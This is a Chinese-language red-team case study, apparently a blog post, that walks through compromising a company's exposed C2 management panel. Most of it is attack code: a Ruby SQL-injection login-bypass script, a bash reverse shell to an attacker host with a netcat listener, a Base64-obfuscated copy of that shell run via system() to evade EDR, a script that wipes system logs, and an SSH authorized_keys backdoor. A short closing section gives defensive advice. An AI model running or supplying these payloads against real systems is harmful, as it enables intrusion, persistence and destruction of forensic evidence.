一、一次针对企业C2基础设施的真实攻防案例
前不久,我看到一则新闻,某科技公司因内部网络被攻击导致核心源代码泄露。攻击者不仅成功绕过了防火墙,还利用了企业内部的C2(Command and Control)基础设施,展开进一步的横向渗透和数据窃取。这让我想到了之前在一次红队攻防演练中,我们针对目标企业自建的C2基础设施进行的攻击。今天就分享一下当时的完整攻击链,包括漏洞利用、横向移动、权限提升和痕迹清除。
攻防中,C2基础设施不仅是攻防的关键节点,也是红队伪装和防守方检测的主要战场。那么,如果我是攻击者,我会如何从外部渗透到内部,再通过C2对目标网络实施控制?以下就是当时攻防中使用的技术细节和思路。
---
二、突破防线:利用外部暴露服务的漏洞
在实际场景中,很多企业的C2基础设施会公开暴露部分接口,比如为了对外传输数据或远程管理,通常会运行Web管理后台或API服务,这些接口一旦被发现就可能成为攻击的突破口。
在这次案例中,我们通过目标企业的子域名扫描发现了一个暴露的C2管理后台,其域名为 c2panel.target.com。这是一个基于自定义框架开发的管理面板,初步访问时发现登录接口在 /login。
接下来就是漏洞挖掘,我们的主要目标是:
- 绕过登录认证;
- 获取对C2面板的控制。
我们通过Fuzzing发现,这个面板在处理登录请求时,存在典型的SQL注入漏洞。以下是漏洞的利用步骤:
漏洞成因
该登录接口的后端代码直接将用户输入拼接在SQL查询中,缺乏任何过滤和参数化处理,导致可以通过构造恶意SQL语句绕过认证。伪代码如下:
<pre><code class="language-ruby"># 后端代码示例(存在漏洞) def authenticate(username, password) query = "SELECT * FROM users WHERE username = '#{username}' AND password = '#{password}'" result = db.execute(query) return result.any? end</code></pre>
POC代码实现
为了利用这个漏洞,我们编写了一个简单的POC脚本,使用 Ruby 的 net/http 模块来发送构造的恶意Payload。
<pre><code class="language-ruby">require 'net/http' require 'uri'
目标URL
url = URI.parse("http://c2panel.target.com/login")
构造恶意Payload
payload = { "username" => "' OR '1'='1'--", "password" => "any_password" }
发送POST请求
http = Net::HTTP.new(url.host, url.port) request = Net::HTTP::Post.new(url.path) request.set_form_data(payload) response = http.request(request)
输出返回结果
if response.body.include? "Welcome" puts "[+] 成功绕过登录认证!" else puts "[-] 登录失败...需要调整Payload" end</code></pre>
运行这段代码后,我们成功登录到C2的管理后台。
---
三、C2控制权争夺:横向渗透的关键

在拿下C2面板的控制权后,我们发现后台提供了一些功能模块,比如注册新的代理节点、配置任务、上传文件等。最有意思的是其中一个“节点上线”功能,支持动态绑定新的客户端。这是我们横向移动的突破点。

思路一:上传后门文件
我们利用C2面板提供的上传接口,将自定义的反向Shell脚本上传到目标内网机器上。以下是上传的Payload代码:

生成反向Shell的Payload文件 <pre><code class="language-bash">#!/bin/bash
用于反弹shell到攻击者主机的Payload
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1</code></pre>
将该文件命名为 revshell.sh 后,通过面板的上传功能植入到目标机器。接着,我们在自己的主机上启动监听:
<pre><code class="language-bash"># 启动监听,等待反弹连接 nc -lvp 4444</code></pre>
当Payload文件被执行时,我们成功接管了目标机器的Shell。
---
四、“隐身术”:免杀绕过EDR的技巧
现代企业的防御日益严密,EDR(终端检测与响应)和防病毒软件在目标主机上的监视可能会让恶意Payload暴露。为了规避这些检测,我们对反向Shell脚本进行了混淆处理,并使用了动态内存加载技术。
以下是Ruby实现的一个混淆版本:
<pre><code class="language-ruby">encoded_payload = "YmFzaCAtaiAmPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwMC80NDQ0IDA+JjE=" # Base64编码的Payload decoded_payload = Base64.decode64(encoded_payload)
使用Ruby的系统命令执行Payload
system(decoded_payload)</code></pre>
通过这种Base64编码和动态解码执行的方式,Payload可以绕过大多数静态分析工具。
---
五、经验之谈:痕迹清除并保持权限
在红队的攻防实践中,痕迹清除和权限维持是极其重要的一环。一旦目标系统被攻破,如果没有清除日志和后门设置,很容易被防御者发现。
清除日志
以下是一个用于快速清理Linux系统日志的Shell脚本:
<pre><code class="language-bash">#!/bin/bash
清理常见日志文件
> /var/log/auth.log > /var/log/syslog > /var/log/messages
echo "[+] 日志清理完成!"</code></pre>
设置后门
为了后续能够随时重新进入目标系统,我们在目标主机上设置了一个隐藏的SSH后门:
<pre><code class="language-bash"># 生成后门公私钥对 ssh-keygen -t rsa -b 2048 -f /tmp/hidden_key -N "" cat /tmp/hidden_key.pub >> ~/.ssh/authorized_keys</code></pre>
通过这种方式,即使目标机器的管理员更改了密码,我们仍然能够通过SSH访问。
---
六、总结与反思
这次攻防案例中,我深刻体会到,企业自建的C2基础设施往往是攻防的核心。攻击者可以利用其暴露的服务接口进行渗透,而防守方需要更加注重对C2的安全加固,比如对外接口的权限管理、日志监控和异常检测。
最后的建议:
- 不要随意暴露C2的管理接口,建议设置白名单IP访问;
- 对登录模块严格进行输入过滤,避免SQL注入;
- 定期审计C2的日志,检查是否有异常行为。
攻防对抗永远是攻防双方智慧的博弈,作为红队成员,我们的目标是发现漏洞并帮助企业修补,而不是制造损害。希望这些实战经验能对你有所启发。